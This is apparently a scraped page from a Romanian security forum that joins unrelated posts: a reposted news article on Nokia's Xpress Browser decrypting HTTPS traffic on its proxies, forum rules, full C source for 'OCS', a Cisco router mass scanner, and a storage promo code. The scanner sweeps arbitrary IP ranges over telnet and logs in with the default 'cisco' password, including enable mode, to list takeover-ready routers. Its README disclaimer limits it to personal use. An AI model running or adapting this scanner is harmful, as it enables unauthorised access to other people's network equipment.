Leaderboard

+ Easy: + Medium:

Nokia has confirmed reports that its Xpress Browser decrypts data that flows through HTTPS connections – that includes the connections set up for banking sessions, encrypted email and more. However, it insists that there’s no need for users to panic because it would never access customers’ encrypted data. The confirmation-slash-denial comes after security researcher Gaurang Pandya, who works for Unisys Global Services in India, detailed on his personal blog how browser traffic from his Series 40 ‘Asha’ phone was getting routed via Nokia’s servers. So far, so Opera Mini: after all, the whole point of using a proxy browser such as this is to compress traffic so you can save on data and thereby cash. This is particularly handy for those on constricted data plans or pay-by-use data, as those using the low-end Series 40 handsets on which the browser is installed by default (it used to be known as the ‘Nokia Browser for Series 40?) are likely to be. However, it was Pandya’s second post on the subject that caused some alarm. Unlike the first, which looked at general traffic, the Wednesday post specifically examined Nokia’s treatment of HTTPS traffic. It found that such traffic was indeed also getting routed via Nokia’s servers. Crucially, Pandya said that Nokia had access to this data in unencrypted form: “From the tests that were preformed, it is evident that Nokia is performing Man In The Middle Attack for sensitive HTTPS traffic originated from their phone and hence they do have access to clear text information which could include user credentials to various sites such as social networking, banking, credit card information or anything that is sensitive in nature.” Pandya pointed out how this potentially clashes with Nokia’s privacy statement, which claims: “we do not collect any usernames or passwords or any related information on your purchase transactions, such as your credit card number during your browsing sessions”. So, does it clash? Nokia came back today with a statement on the matter, in which it stressed that it takes the privacy and security of its customers and their data very seriously, and reiterated the point of the Xpress Browser’s compression capabilities, namely so that “users can get faster web browsing and more value out of their data plans”. “Importantly, the proxy servers do not store the content of web pages visited by our users or any information they enter into them,” the company said. “When temporary decryption of HTTPS connections is required on our proxy servers, to transform and deliver users’ content, it is done in a secure manner. “Nokia has implemented appropriate organizational and technical measures to prevent access to private information. Claims that we would access complete unencrypted information are inaccurate.” To paraphrase: we decrypt your data, but trust us, we don’t peek. Which is, in a way, fair enough. After all, they need to decrypt the data in order to de-bulk it. The issue here seems to be around how Nokia informs – or fails to inform – its customers of what’s going on. For example, look at Opera. The messaging around Opera Mini is pretty clear: the browser’s FAQs spell out how it routes traffic. Although you can find out about the Xpress Browser’s equivalent functionality with a bit of online searching, it’s far less explicit to the average user. And this is particularly unfortunate given that the browser is installed by default — people won’t necessarily choose it based on those data-squeezing chops. And it looks like Nokia belatedly recognizes that fact. The statement continued: “We aim to be completely transparent on privacy practices. As part of our policy of continuous improvement we will review the information provided in the mobile client in case this can be improved.” The moral of the story is that those who want absolute security in their mobile browsing should probably steer clear of browsers that compress to cut down on data. Even if Nokia isn’t tapping into that data – and there is no reason to suspect that it is – the very existence of that feature will be a turn-off for the paranoid, and reasonably so. And that’s why Nokia should be up-front about such things. UPDATE: A kind soul has reminded me that, unlike Xpress Browser and Opera Mini, two other services that also do the compression thing leave HTTPS traffic unperturbed, namely Amazon with its Silk browser and Skyfire. This is arguably how things should be done, although it does of course mean that users don’t get speedier loading and so on on HTTPS pages. Sursa

Din momentul asta oricine incalca una dintre regulile de mai jos...primeste ban. 1.Offtopic-ul este permis doar in categoria Offtopic -> https://rstcenter.com/forum/off-topic.rst si nu este permis offtopic-ul excesiv. 2.Inainte de a posta in categoria Ajutor si Cereri trebuie sa postati 10 articole in zona https://rstcenter.com/forum/#a-1337-zone 3.Pentru a posta in categoria Ajutor si Cereri trebuie sa va fi inregistrat de cel putin 1 luna.

Compact mass scanner for Cisco routers with default telnet/enable passwords. README /* Author: OverIP Andrea Piscopiello overip at gmail.com Source: OCS v 0.2 License: GPL This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Email: Write me for any problem or suggestion at: overip at gmail.com Date: 01/10/13 Read me: Just compile it with: gcc ocs.c -o ocs -lpthread Then run it with: ./OCS xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy xxx.xxx.xxx.xxx=range start IP yyy.yyy.yyy.yyy=range end IP PAY ATTENTION: This source is coded for only personal use on your own router Cisco. Don't hack around. Special thanks to: Khlero with your patience this code is out there Shen139, without you I can't live people that helped betatesting this code Alex Kah and his Cisco Router I love U all */ ocs.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> #include <signal.h> int i=0; int j=0; int k=0; int l=0; char buffer_a[700]; char buffer_b[700]; char buffer_c[700]; char tmpIP[16]; pthread_t threadname; void callScan() // scanning { scanna(tmpIP); pthread_exit(0); } static void funcAlarm() //alarm { pthread_exit(0); } int setnonblock(int sock) //setta socket non bloccanti { struct timeval timeout; timeout.tv_sec = 10; timeout.tv_usec = 0; if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,(char*) &timeout, sizeof(timeout))) return 0; return 1; } void init(struct sockaddr_in *address,int port,int IP) { address->sin_family=AF_INET; address->sin_port=htons((u_short)port); address->sin_addr.s_addr=IP; } int scanna(char*rangeIP) //scanning { int error; int sd; struct sockaddr_in server; close(sd); server.sin_family=AF_INET; server.sin_port=htons(23); server.sin_addr.s_addr=inet_addr(rangeIP); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1) { printf("Socket Error(%s)\n",rangeIP); close(sd); pthread_exit(0); } // setnonblock(sd); signal(SIGALRM,funcAlarm); alarm(7); fflush(stdout); error=connect(sd,(struct sockaddr*)&server,sizeof(server)); if(error==0) { printf("\n\n-%s\n",rangeIP); fflush(stdout); memset(buffer_c, '\0',700); recv(sd,buffer_c,700,0); printf(" |Logging... %s\n",rangeIP); fflush(stdout); memset(buffer_a, '\0',700); memset(buffer_b, '\0',700); send(sd,"cisco\r",6,0); sleep(1); recv(sd,buffer_a,700,0); if(strstr(buffer_a,"#")) printf(" |Default Enable Passwords found! Vulnerable Router IP: %s\n\n\n", rangeIP); else if(strstr(buffer_a,">")) { printf(" |Default Telnet password found. %s\n",rangeIP); fflush(stdout); send(sd,"enable\r",7,0); sleep(1); send(sd,"cisco\r",6,0); sleep(1); recv(sd,buffer_b,700,0); //printf(" Sto cercando di loggarmi in enable mode\n"); //fflush(stdout); } if(strstr(buffer_b,"#")) printf(" |Default Telnet and Enable Passwords found! Vulnerable Router IP: %s\n\n\n", rangeIP); else printf(" |Router not vulnerable. \n"); fflush(stdout); } else { printf("\n\n(%s) Filtered Ports\n",rangeIP); close(sd); alarm(0); signal(SIGALRM,NULL); pthread_exit(0); } close(sd); fflush(stdout); alarm(0); signal(SIGALRM,NULL); pthread_exit(0); } char *getByte(char *IP,int index); int function1(char* IP, char* IP2) { char rangeIP[16]; pid_t pid; i=atoi(getByte(IP,1)); j=atoi(getByte(IP,2)); k=atoi(getByte(IP,3)); l=atoi(getByte(IP,4)); while(1) { sprintf(rangeIP,"%d.%d.%d.%d",i,j,k,l); strcpy(tmpIP,rangeIP); if(pthread_create(&threadname, NULL,callScan,NULL)!=0) { printf("+ Thread error:\n"); perror(" - pthread_create() "); exit(0); } fflush(stdout); pthread_join(threadname, NULL); fflush(stdout); l++; if (l==256) { l=0; k++; if (k==256) { k=0; j++; if (j==256) { j=0; i++; } } } if(i==atoi(getByte(IP2,1)) && j==atoi(getByte(IP2,2)) && k==atoi(getByte(IP2,3)) && l==atoi(getByte(IP2,4))) { break; } } sprintf(rangeIP,"%d.%d.%d.%d",i,j,k,l); strcpy(tmpIP,rangeIP); fflush(stdout); if(pthread_create(&threadname, NULL,callScan,NULL)!=0) { printf("+ Thread error:\n"); perror(" - pthread_create() "); exit(0); } pthread_join(threadname, NULL); fflush(stdout); } int main(int argc,char *argv[]) { int w; printf("********************************* OCS v 0.2 **********************************\n"); printf("**** ****\n"); printf("**** coded by OverIP ****\n"); printf("**** overip at gmail.com ****\n"); printf("**** under GPL License ****\n"); printf("**** ****\n"); printf("**** usage: ./ocs xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy ****\n"); printf("**** ****\n"); printf("**** xxx.xxx.xxx.xxx = range start IP ****\n"); printf("**** yyy.yyy.yyy.yyy = range end IP ****\n"); printf("**** ****\n"); printf("******************************************************************************\n"); if(argc!=3) { printf("use: %s IP IP\n",argv[0]); exit(-1); } for(w=1;w<=5;w++) if(atoi(getByte(argv[1],w))>255 || atoi(getByte(argv[2],w))>255) { printf("use: ./OCS IP IP\n"); exit (-1); } for(w=1;w<=5;w++) if(atoi(getByte(argv[1],w))<atoi(getByte(argv[2],w))) { function1(argv[1],argv[2]); return 0; } else if(atoi(getByte(argv[1],w))>atoi(getByte(argv[2],w))) { printf("use: %s IP IP\n",argv[0]); return 0; } printf("Same IPs \n"); fflush(stdout); scanna(argv[1]); return 0; } char *getByte(char *IP,int index) { int i=0; int separator=0; static char byte[3]; for(i=0;i<4;i++) byte[i]='\0'; memset(byte,0,sizeof(byte)); for(i=0;i<strlen(IP);i++) { if((IP[i]=='.') && (separator==index-1)) { return byte; } else if(IP[i]=='.') { separator++; } else if (separator==index-1) { strncat(byte,&IP[i],1); } } return byte; } Source

link promotie: https://www.surdoc.com/sign-up/?promo=2013CES cod promotie: 2013CES Also, you'll get an option to renew for 3 more years at $20 a year! Sursa: https://www.facebook.com/MySurDoc